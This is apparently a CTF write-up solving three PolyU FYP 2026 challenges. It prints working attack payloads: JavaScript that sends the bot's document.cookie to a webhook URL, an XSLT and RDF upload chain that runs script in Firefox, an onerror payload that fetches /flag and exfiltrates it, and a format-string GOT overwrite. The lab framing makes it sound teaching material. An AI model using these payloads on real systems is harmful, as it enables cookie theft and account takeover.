CAUTIONSpoilers ahead. This post includes solution details, payloads, and flags.
PolyU FYP 2026 had a style I really enjoyed. The challenges did not fall to the first obvious idea. Each one asked for one more step of thinking, which made the final solve feel much better.
This post collects two linked web challenges and one short pwn challenge. The web pair is especially fun because the second one only makes sense after the first one becomes a reliable helper.
[Web] File Uploader
File Uploader looked simple at first: upload a file, then report a URL to the bot. But the real trick was not server-side code execution. The real trick was to make Firefox load an active document under the internal uploader origin.
What I saw first
The visible page was minimal:
File UploaderThat did not tell me much by itself, so the source and the solve notes mattered much more. Three details shaped the challenge:
- uploads were saved as
*.sandbox - filename filtering was a weak substring blacklist
- the admin bot only visited
http://file_uploader_app/...URLs and carried the flag in a readable cookie
So the goal became:
- host something active under
file_uploader_app - make Firefox execute same-origin JavaScript
- read
document.cookie - send it to my webhook
Dead ends I ruled out
The first instinct is to try normal HTML or script uploads. That was not enough here.
Several extensions looked promising but went nowhere:
.xul.hta.smil.xspf.rss.wsdl.vxml
Most of them downloaded, rendered as plain text, or stayed inert in Firefox. That was the turning point of the challenge: special MIME handling is not the same thing as active script execution.
WARNINGThe challenge was not about getting any file rendered. It was about getting the right chain rendered in Firefox.
Step 1: Upload the JavaScript payload
The working chain started with a same-origin JavaScript file:
top.location = 'https://webhook.site/<token>/?c=' + encodeURIComponent(document.cookie)I uploaded it as exp.mjs, which became something like:
uploads/<sandbox>/exp.mjs.sandboxThis mattered because Firefox still treated the file as JavaScript, and the uploader origin matched the bot’s allowed host.
Step 2: Upload the XSLT stylesheet
Next I uploaded style.rng with an XSLT payload that turned XML into HTML and loaded the .mjs file:
<?xml version="1.0"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <html> <head> <script src="/uploads/<sandbox>/exp.mjs.sandbox"></script> </head> <body>WAIT</body> </html> </xsl:template></xsl:stylesheet>That file became:
uploads/<sandbox>/style.rng.sandboxStep 3: Upload the RDF entry point
The final entry point was exp.rdf:
<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="/uploads/<sandbox>/style.rng.sandbox"?><root/>Once uploaded, this became the URL I wanted the bot to visit:
http://file_uploader_app/uploads/<sandbox>/exp.rdf.sandboxStep 4: Let the bot execute the chain
The success condition was not a flashy page. The success condition was the bot loading the RDF, applying the XSLT, then executing the .mjs file under the uploader origin.
If that worked, the webhook received something like:
?c=flag=FYPCTF26{...}That cookie value was the real answer.
Why the chain worked
The whole solve looked like this:
exp.rdf.sandboxloads as XML- Firefox applies
style.rng.sandbox - the stylesheet outputs HTML
- the HTML loads
exp.mjs.sandbox - same-origin JavaScript executes
document.cookieexposes the flag cookie- the cookie is redirected to the webhook
This lines up with MDN’s document.cookie behavior: JavaScript can read and write cookies for the current document unless they are protected in a way that blocks script access. In this challenge, the bot’s flag cookie was readable, so once the payload ran in the right origin, stealing it was straightforward.
Concept map
flowchart TD A["Upload exp.mjs"] --> B["Host same-origin JS under uploads"] A2["Upload style.rng"] --> C["Prepare XSLT that loads exp.mjs"] A3["Upload exp.rdf"] --> D["Prepare XML entry point"] B --> E["Bot visits exp.rdf.sandbox under file_uploader_app"] C --> E D --> E E --> F["Firefox applies XSLT"] F --> G["HTML loads same-origin JS"] G --> H["JS reads document.cookie"] H --> I["Webhook receives flag cookie"]Flag
FYPCTF26{Weird_Apache_and_browser_quirks_hope_you_like_it}
[Web] Themes Lover 2
Themes Lover 2 is built like a follow-up challenge. The edit-user path is gone, a new bug takes its place, and the hint directly tells me I need an XSS from another challenge. So instead of solving it alone, I have to bring a working primitive from somewhere else.
What made it interesting
The homepage looked normal enough:
Welcome to Themes Lover 2!Please login or register to save your theme preferences.But the real bug lived in the welcome_message cookie path. The page read the cookie, assigned it to a detached element with innerHTML, then copied innerText into the visible DOM.
That is a strange pattern. In Chromium it looks mostly harmless. In Firefox, though, it can still become active in the right conditions.
MDN describes innerHTML as an injection sink, which is exactly why this code path is dangerous. Even though the final visible assignment used innerText, the risky part had already happened one line earlier when attacker-controlled content was parsed as HTML.
Why this was a cross-challenge solve
IMPORTANTSiunam already gave us the key hint in the challenge text: we needed an XSS from another challenge.
File Uploader was the perfect fit because it let me host active content under the same public challenge host. So I reused the first challenge as a launchpad.
This was not just a story-level connection. The source code then makes the link very clear. In File Uploader, the bot adds a readable flag cookie before it visits my uploaded page. In Themes Lover 2, the admin bot logs in first and then visits the URL I report. And inside the page layout, the welcome_message cookie is read back and pushed through this sink:
p.innerHTML = welcomeMessage;welcomeMessageElement.innerText = p.innerText;So File Uploader gives me the helper page that can run under the right origin, and Themes Lover 2 gives me the Firefox-specific sink plus the admin-only /flag endpoint. That is why the cross-challenge route is the intended solve, not just a clever shortcut.
Source-code proof that the two challenges connect
This link is not just a guess from the hint. The source code supports it.
On the File Uploader side, the bot sets a readable cookie named flag before it visits my uploaded page:
await context.addCookies([{ name: 'flag', value: FLAG, domain: CONFIG['APPDOMAIN'], path: '/', httpOnly: false, sameSite: 'Strict',}])That is from:
web/File Uploader/work/file_uploader/bot/bot.jsOn the Themes Lover 2 side, the admin bot logs in first, then visits any URL I submit to /report:
await page.goto(f'{BOT_CONFIG["APP_URL"]}/login', wait_until='load')await page.fill('input[name="username"]', ADMIN_USERNAME)await page.fill('input[name="password"]', ADMIN_PASSWORD)...await page.goto(urlToVisit, wait_until='load')And the target app only returns /flag for the admin account:
if not g.user or g.user['role'] != 'admin': return redirect(url_for('index'))return FLAG, 200, {'Content-Type': 'text/plain'}Finally, the sink that makes the whole attack work is the welcome_message cookie handling:
const welcomeMessage = getCookie('welcome_message');...p.innerHTML = welcomeMessage;welcomeMessageElement.innerText = p.innerText;So the chain is very direct:
File Uploadergives me an active same-origin helper page- that helper plants
welcome_message - the
Themes Lover 2bot arrives already logged in as admin - Firefox processes the cookie sink
- the payload fetches
/flag
Dead end: treating File Uploader like normal hosting
At first I tried the lazy version of the idea: upload something that looked script-like and let the bot visit it. That failed for the same reason it failed in the first challenge. A lot of files were visible but inert.
So I went back to the same reliable .mjs + .rng + .rdf chain.
Step 1: Build the helper payload
This time the JavaScript did not just steal a cookie. It first planted a malicious welcome_message cookie, then redirected the bot into Themes Lover 2.
The payload looked like this:
const payload = `<img src=x onerror="fetch('/flag').then(r=>r.text()).then(f=>location='https://webhook.site/.../?stage=flag&f='+encodeURIComponent(f)).catch(e=>location='https://webhook.site/.../?stage=err&e='+encodeURIComponent(String(e)))">`;document.cookie = 'welcome_message="' + payload + '"; path=/';location = 'http://challenge.hacktheflag.one:30070/';So the helper page had two jobs:
- set
welcome_message - send the admin browser into the target app
Step 2: Trigger the admin bot
After the bot visited the helper URL, Firefox executed the uploader chain, set the cookie, then landed in Themes Lover 2 while still authenticated as admin.
At that point, the target application did the rest:
- read
welcome_message - feed it through the detached-node sink
- execute the payload in Firefox
- fetch
/flag - send the flag to the webhook
The webhook success pattern looked like this:
?stage=flag&f=FYPCTF26{...}Why this solve felt good
I liked this challenge because the cross-challenge dependency was not fake. File Uploader really was the missing piece. Without it, Themes Lover 2 would have been annoying. With it, the exploit became elegant.
IMPORTANTThe hard part was not writing the final payload. The hard part was realizing that the real exploit lives across both challenges.
Concept map
flowchart TD A["Reuse File Uploader helper chain"] --> B["Host active document under same public host"] B --> C["Helper JS sets welcome_message cookie"] C --> D["Helper redirects bot into Themes Lover 2"] D --> E["Admin Firefox loads target app"] E --> F["Detached-node sink processes welcome_message"] F --> G["Payload fetches /flag as admin"] G --> H["Webhook receives final flag"]Flag
FYPCTF26{Cross_challenges_are_the_goat_fire_emoji_fire_emoji_fire_emoji}
[Pwn] Logging Lover
Logging Lover is short, but it is very clean. Once I understood how the arguments flowed into syslog, the exploit was basically a direct GOT overwrite.
Step 1: Check the binary properties
The first pass gave exactly the conditions I wanted:
- no PIE
- partial RELRO
- NX enabled
That meant two very good things:
win()had a fixed address- GOT entries were still writable
So a classic format-string GOT overwrite was realistic.
Step 2: Understand the bug
The vulnerable function was tiny:
void log_message(char *msg, ... ) { syslog(3, msg);}So my input became the format string for syslog().
That alone is already enough for trouble, but the caller made it even better. Right before calling log_message(), the program loaded these values:
rdx = puts@GOTrcx = puts@GOT + 2r8 = puts@GOT + 4r9 = win
So the format string already had all the addresses it needed. I did not need a leak or any fancy setup.
Step 3: Split the target address
The goal was simple:
*(puts@GOT) = winWith win = 0x401285, I split it into 16-bit writes:
0x0000 -> puts@GOT + 40x0040 -> puts@GOT + 20x1285 -> puts@GOTThen I used %hn writes to place those values one chunk at a time.
Step 4: Use the payload
The payload was:
%3$hn%5$64c%2$hn%5$4677c%1$hnAAAAWhy it works:
%3$hnwrites0toputs@GOT+4%5$64cmakes the total count0x0040%2$hnwrites that toputs@GOT+2%5$4677cpushes the total count to0x1285%1$hnwrites that toputs@GOT
So the GOT entry becomes the address of win().
Then the program calls puts("Logged."), but now that call lands in win() instead.
Step 5: Mind the remote nuance
Locally, the exploit only printed a fake flag. The real solve had to happen on the remote service.
The remote wrinkle was proof-of-work. The token changed on each connection, so the solve order had to be:
- connect
- read the token
- solve that exact token
- send the solution back on the same connection
- send the format-string payload
That is the kind of detail that is easy to ignore when the binary bug itself is straightforward.
If everything works, the remote session should leave the normal logging path and print the admin/debug output with the real flag instead of the local fake one.
For the exploit script itself, pwntools was useful in the usual way: quick remote connections, simple send/recv flow, and fast iteration while testing the final payload.
Concept map
flowchart TD A["Checksec shows no PIE and partial RELRO"] --> B["syslog uses user input as format string"] B --> C["Caller leaves puts@GOT pointers in registers"] C --> D["Use %hn writes to patch puts@GOT"] D --> E["puts now resolves to win()"] E --> F["Next puts call jumps into win()"] F --> G["Remote run prints real flag"]Flag
FYPCTF26{fmt_strings_are_logging_superpowers}
References
- MDN: Document.cookie - useful for the File Uploader cookie-reading step, because the final exfil path depends on JavaScript being able to read the bot’s cookie.
- MDN: Element.innerHTML - directly related to the Themes Lover 2 sink; MDN explicitly warns that
innerHTMLis an injection sink. - OWASP Cross Site Scripting Prevention Cheat Sheet - a good general reference for why attacker-controlled HTML in a browser context is dangerous, even when the code path looks unusual.
- pwntools documentation - relevant for the Logging Lover remote exploit flow and the final scripted interaction with the service.